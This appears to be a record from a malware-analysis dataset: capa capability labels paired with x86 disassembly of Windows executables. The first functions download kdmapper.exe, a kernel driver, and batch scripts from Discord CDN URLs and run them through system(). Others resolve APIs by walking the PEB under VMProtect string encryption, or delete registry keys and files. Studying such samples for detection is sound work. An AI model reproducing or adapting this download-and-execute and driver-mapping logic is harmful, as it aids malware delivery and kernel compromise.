joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ab0
Capabilities:
Download url
Execute command
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x50], str.https:__cdn.discordapp.com_attachments_955179230923206656_964814122548076614_kdmapper.exe
mov dword [ebp - 0x4c], 0x40570c
push 0
push 0
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], str.https:__cdn.discordapp.com_attachments_955179230923206656_964814107536654336_samudrvprivate.sys
mov dword [ebp - 0x54], 0x405790
push 0
push 0
mov edx, dword [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x58]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x48], 0x44
push 0x40
push 0
lea ecx, [ebp - 0x44]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x44
mov dword [ebp - 0x1c], 1
xor edx, edx
mov word [ebp - 0x18], dx
push str.C:WindowsSystem32kdmapper.exe_C:WindowsSystem32drvsamu.sys
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403925
mov esp, ebp
pop ebp
ret

Function at 0x401b60
Capabilities:
Download url
Execute command
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x50], str.https:__cdn.discordapp.com_attachments_955179230923206656_964816674404573204_AppleCleaner.exe
mov dword [ebp - 0x4c], 0x405858
push 0
push 0
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x58], str.https:__cdn.discordapp.com_attachments_940653482669666384_957027474305351801_mac.bat
mov dword [ebp - 0x54], 0x4058d0
push 0
push 0
mov edx, dword [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x58]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x60], str.https:__cdn.discordapp.com_attachments_940653482669666384_957308827018084382_Deep.bat
mov dword [ebp - 0x5c], 0x405948
push 0
push 0
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x60]
push edx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x48], 0x44
push 0x40
push 0
lea eax, [ebp - 0x44]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x44
mov dword [ebp - 0x1c], 1
xor ecx, ecx
mov word [ebp - 0x18], cx
push 0x405968
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x405988
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4059a8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403925
mov esp, ebp
pop ebp
ret
Function at 0x4041de
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40421d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40421d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40421d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40421d
cmp dword [ecx + 0x74], 0xe
jbe 0x40421d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000123e
Capabilities:
Access peb ldr_data
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x10021040], 0
push ebx
jne 0x10001364
and dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x1000127f
xor eax, eax
jmp 0x1000136d
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x10001278
mov ecx, dword [ecx + eax + 0x78]
test ecx, ecx
je 0x10001278
push edi
lea edi, [ecx + eax]
mov ecx, dword [edi + 0x18]
xor ebx, ebx
dec ecx
je 0x10001363
push esi
mov ecx, dword [edi + 0x20]
lea ecx, [ecx + ebx*4]
mov esi, dword [ecx + eax]
push str.LoadLibraryA
add esi, eax
call dword [sym.imp.VMProtectSDK32.dll_VMProtectDecryptStringA]
mov ecx, esi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100012dc
test dl, dl
je 0x100012d8
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100012dc
add ecx, 2
add eax, 2
test dl, dl
jne 0x100012bc
xor eax, eax
jmp 0x100012e1
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10001303
mov eax, dword [edi + 0x24]
mov edx, dword [edi + 0x1c]
lea ecx, [eax + ebx*2]
mov eax, dword [ebp - 4]
movzx ecx, word [ecx + eax]
lea ecx, [edx + ecx*4]
mov ecx, dword [ecx + eax]
add ecx, eax
mov dword [0x10021040], ecx
push 0x10018188
call dword [sym.imp.VMProtectSDK32.dll_VMProtectDecryptStringA]
mov cl, byte [esi]
cmp cl, byte [eax]
jne 0x1000132e
test cl, cl
je 0x1000132a
mov cl, byte [esi + 1]
cmp cl, byte [eax + 1]
jne 0x1000132e
add esi, 2
add eax, 2
test cl, cl
jne 0x1000130e
xor eax, eax
jmp 0x10001333
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
mov eax, dword [ebp - 4]
jne 0x10001355
mov ecx, dword [edi + 0x24]
mov edx, dword [edi + 0x1c]
lea ecx, [ecx + ebx*2]
movzx ecx, word [ecx + eax]
lea ecx, [edx + ecx*4]
mov ecx, dword [ecx + eax]
add ecx, eax
mov dword [0x10021044], ecx
mov ecx, dword [edi + 0x18]
inc ebx
dec ecx
cmp ebx, ecx
jb 0x100012a4
pop esi
pop edi
push dword [ebp + 8]
call dword [0x10021040]
pop ebx
leave
ret

Function at 0x10002c85
Capabilities:
Hash data with crc32

Disassembly:
cmp byte [0x10022421], 0
jne 0x10002ccd
push esi
push edi
xor edx, edx
mov ecx, 0x100215f8
mov edi, 0x100
push 8
mov eax, edx
pop esi
test al, 1
je 0x10002cae
shr eax, 1
xor eax, 0xedb88320
jmp 0x10002cb0
shr eax, 1
add esi, 0xffff
test si, si
jne 0x10002ca1
mov dword [ecx], eax
inc edx
add ecx, 4
dec edi
jne 0x10002c9c
pop edi
mov byte [0x10022421], 1
pop esi
ret

Function at 0x10002cce
Capabilities:
Encode data using xor

Disassembly:
call fcn.10002c85
or eax, 0xffffffff
cmp dword [esp + 8], 0
je 0x10002d02
mov ecx, dword [esp + 4]
movsx edx, byte [ecx]
dec dword [esp + 8]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x100215f8]
inc ecx
cmp dword [esp + 8], 0
jne 0x10002ce1
not eax
ret
Function at 0x10004354
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
xor edx, edx
lea ecx, [esi + 1]
mov eax, 0x100
push ebx
mov byte [ecx], dl
inc edx
inc ecx
cmp dx, ax
jb 0x10004369
movzx ebx, word [ebp + 0xc]
mov dword [ebp + 0xc], edi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov cl, byte [eax + esi + 1]
cdq
idiv ebx
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
movzx edx, cl
add ax, dx
add ax, di
mov edx, 0xff
and ax, dx
mov edx, dword [ebp + 0xc]
inc dword [ebp + 0xc]
dec dword [ebp - 4]
movzx edi, ax
mov byte [esi], cl
lea eax, [edi + esi + 1]
mov cl, byte [eax]
mov byte [edx + esi + 1], cl
mov cl, byte [esi]
mov byte [eax], cl
jne 0x1000437c
xor eax, eax
mov word [esi + 0x104], ax
mov word [esi + 0x102], ax
pop ebx
cmp dword [ebp + 0x10], eax
jbe 0x100043de
mov ecx, esi
call fcn.100026bd
dec dword [ebp + 0x10]
jne 0x100043d2
pop edi
pop esi
leave
ret 0xc
Function at 0x10006ad8
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x1000aa9e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001ff40]
jne 0x1000aaa8
repz ret
jmp fcn.1000e7af

Function at 0x10013924
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001ff40]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000f695
and dword [ebp - 0x14], 0
cmp dword [0x1002317c], 0
mov dword [ebp - 0x18], eax
jne 0x100139d7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10013a7f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10013a7f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1002317c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10023180], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10023184], eax
call edi
push eax
call esi
mov dword [0x1002318c], eax
test eax, eax
je 0x100139d7
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10023188], eax
mov eax, dword [0x10023188]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10013a30
cmp dword [0x1002318c], ecx
je 0x10013a30
push eax
call esi
push dword [0x1002318c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10013a30
test ebx, ebx
je 0x10013a30
call edi
test eax, eax
je 0x10013a27
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10013a27
test byte [ebp - 8], 1
jne 0x10013a30
or dword [ebp + 0x10], 0x200000
jmp 0x10013a63
mov eax, dword [0x10023180]
cmp eax, dword [ebp - 0x18]
je 0x10013a63
push eax
call esi
test eax, eax
je 0x10013a63
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10013a63
mov eax, dword [0x10023184]
cmp eax, dword [ebp - 0x18]
je 0x10013a63
push eax
call esi
test eax, eax
je 0x10013a63
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1002317c]
call esi
test eax, eax
je 0x10013a7f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10013a81
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000aa9e
leave
ret
Function at 0x401541
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea eax, [ebp - 0x22c]
push ebx
sub esp, 0x25c
mov edi, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
and edi, 0x300
mov dword [esp], ebx
mov eax, edi
mov dword [esp + 4], esi
or eax, 9
mov dword [esp + 8], eax
call fcn.004081fa
sub esp, 0x10
test eax, eax
jne 0x4016a1
mov eax, dword [ebp - 0x22c]
test byte [ebp + 0x10], 2
je 0x4015d7
xor edx, edx
xor ecx, ecx
mov dword [ebp - 0x228], edx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x228]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x222]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
sub esp, 0x20
cmp eax, 0x103
jne 0x401642
mov eax, dword [ebp + 0x10]
and eax, 1
mov dword [ebp - 0x23c], eax
jmp 0x4015ff
mov ecx, dword [ebp + 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [esp + 8], ecx
call fcn.00401541
sub esp, 0xc
test eax, eax
jne 0x401659
lea edx, [ebp - 0x222]
xor eax, eax
mov dword [esp + 0xc], 0x105
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x22c]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
lea edx, [ebp - 0x222]
sub esp, 0x10
test eax, eax
jne 0x401659
cmp dword [ebp - 0x23c], 0
mov eax, dword [ebp - 0x22c]
je 0x4015e5
mov eax, dword [ebp - 0x22c]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
push ecx
jmp 0x4016a1
mov eax, dword [ebp - 0x22c]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
mov dword [esp], 3
call fcn.0040874c
push edx
test eax, eax
jne 0x40168b
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
push ecx
push ecx
jmp 0x4016a1
xor edx, edx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 4], esi
mov dword [esp], ebx
call eax
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0xc
Function at 0x403fbd
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
mov esi, dword [ebp + 0x14]
test eax, eax
js 0x403ffd
add eax, dword [0x41c978]
xor edx, edx
mov dword [0x430a38], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [0x40c010]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub esp, 0x10
mov dword [esp], 4
call fcn.00403deb
push edi
mov edi, eax
test eax, eax
js 0x404111
lea eax, [ebp - 0x1c]
mov dword [esp + 8], 4
mov dword [esp + 4], eax
mov eax, dword [0x40c010]
mov dword [esp], eax
call fcn.00408029
sub esp, 0xc
test eax, eax
jne 0x404041
mov edi, 0xfffffffd
jmp 0x404111
mov eax, dword [ebp - 0x1c]
add dword [0x430a38], 4
mov dword [esp], eax
call fcn.00403deb
mov edi, eax
push ecx
test eax, eax
js 0x404111
mov eax, dword [ebp - 0x1c]
test ebx, ebx
jne 0x4040ce
mov eax, dword [ebp - 0x1c]
test eax, eax
jle 0x404111
mov edx, 0x4000
cmp eax, edx
cmovg eax, edx
mov dword [ebp - 0x20], eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42c9a0
mov eax, dword [0x40c010]
mov dword [esp], eax
call fcn.00408029
sub esp, 0xc
test eax, eax
je 0x404037
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], 0x42c9a0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040806d
sub esp, 0xc
test eax, eax
je 0x40410c
mov eax, dword [ebp - 0x20]
sub dword [ebp - 0x1c], eax
add dword [0x430a38], eax
add edi, eax
jmp 0x404065
xor edx, edx
cmp eax, esi
mov dword [esp + 4], ebx
cmovg eax, esi
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x20]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [0x40c010]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
je 0x404037
mov edi, dword [ebp - 0x20]
add dword [0x430a38], edi
jmp 0x404111
mov edi, 0xfffffffe
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
Function at 0x407bec
Capabilities:
Create process on windows

Disassembly:
push ebp
xor edx, edx
xor ecx, ecx
mov ebp, esp
sub esp, 0x48
mov dword [0x4391c0], 0x44
lea eax, [ebp - 0x18]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 0x4391c0
mov dword [esp + 0x14], 0x4000000
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
sub esp, 0x28
xor eax, eax
test edx, edx
je 0x407c58
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov eax, dword [ebp - 0x18]
leave
ret 4

Function at 0x407c5c
Capabilities:
Create process on windows

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x3c
mov dword [eax + 0x24], edx
pop ebp
jmp dword [sym.imp.SHELL32.dll_ShellExecuteExW]

Function at 0x407ed2
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
inc eax
push edx
je 0x407f00
mov eax, ebx
mov dword [esp], esi
and eax, 0xfffffffe
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
push eax
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 4

Function at 0x407f0b
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call fcn.00407ed2
push ecx
cmp eax, 0xffffffff
je 0x407f60
test byte [ebp + 0xc], 1
mov esi, eax
mov dword [esp], ebx
je 0x407f58
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push edx
test eax, eax
jne 0x407f51
test byte [ebp + 0xc], 4
jne 0x407f60
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
push eax
jmp 0x407f60
mov eax, 1
jmp 0x407f62
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x407f35
xor eax, eax
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 8

Function at 0x407f6b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push edx
cmp eax, 0xffffffff
jne 0x407f86
xor eax, eax
xor edx, edx
mov dword [esp + 0x14], eax
xor ecx, ecx
mov dword [esp + 0x18], edx
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 8], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [ebp - 4]
sub esp, 0x1c
leave
ret 0xc
Function at 0x407fbf
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, 0x64
push ebx
sub esp, 0x20
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x10], 0x73006e
mov dword [ebp - 0xc], 0x61
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x1a
xor edx, edx
div ecx
xor eax, eax
add word [ebp - 0xc], dx
mov dword [esp + 8], eax
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
sub esp, 0x10
test eax, eax
jne 0x40801e
dec esi
jne 0x407fcf
mov word [ebx], 0
xor ebx, ebx
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 8

Function at 0x408029
Capabilities:
Read file on windows

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push ebx
sub esp, 0x34
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
je 0x408066
xor eax, eax
cmp dword [ebp - 0xc], ebx
sete al
mov ebx, dword [ebp - 4]
leave
ret 0xc

Function at 0x40806d
Capabilities:
Write file on windows

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push ebx
sub esp, 0x34
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
je 0x4080aa
xor eax, eax
cmp dword [ebp - 0xc], ebx
sete al
mov ebx, dword [ebp - 4]
leave
ret 0xc

Function at 0x4082ae
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
lea eax, [ebp - 0x14]
sub esp, 0x30
mov dword [ebp - 0x10], 0x800
mov ebx, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
xor eax, eax
cmp dword [ebp + 0x18], 0
setne al
shl eax, 8
or eax, 0x20019
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004081fa
sub esp, 0x10
test eax, eax
je 0x4082fc
mov word [ebx], 0
jmp 0x40834f
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], eax
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
xor eax, eax
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
mov eax, dword [ebp - 0x14]
sub esp, 0x18
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
mov word [ebx + 0x7fe], 0
test esi, esi
jne 0x4082f5
mov eax, dword [ebp - 0xc]
dec eax
cmp eax, 1
ja 0x4082f5
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 0x14
Function at 0x40860a
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp], 0x4381c0
mov dword [esp + 4], eax
call fcn.00408439
push ebx
push ebx
mov dword [esp], 0x4381c0
call fcn.00407db6
push edx
test eax, eax
jne 0x40863b
xor eax, eax
jmp 0x4086b7
mov dword [esp], eax
mov ebx, eax
call fcn.004084f5
push ecx
test byte [0x41c92c], 0x80
je 0x40865d
mov ax, word [ebx]
test ax, ax
je 0x408637
cmp ax, 0x5c
je 0x408637
sub ebx, 0x4381c0
sar ebx, 1
mov dword [esp], 0x4381c0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ecx
mov dword [esp], 0x4381c0
cmp ebx, eax
jge 0x40869c
call fcn.004085d2
push edx
test eax, eax
je 0x40868d
test byte [eax], 0x10
je 0x408637
mov dword [esp], 0x4381c0
call fcn.00407d44
push eax
jmp 0x408665
call fcn.0040846d
push eax
mov dword [esp], 0x4381c0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
inc eax
push edx
setne al
movzx eax, al
mov ebx, dword [ebp - 4]
leave
ret 4

Function at 0x4086be
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp - 0x244]
sub esp, 0x254
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edx
push edx
lea edx, [eax - 1]
cmp edx, 0x103
ja 0x4086fc
xor edx, edx
cmp word [ebp + eax*2 - 0x246], 0x5c
sete dl
jmp 0x408703
xor eax, eax
mov edx, 1
mov ecx, dword [ebp + 8]
add edx, edx
add eax, eax
mov dword [esp + 4], str._s_S.dll
add edx, 0x40d720
add eax, ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp], eax
call dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov dword [esp], ebx
mov dword [esp + 8], 8
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, dword [ebp - 4]
sub esp, 0xc
leave
ret 4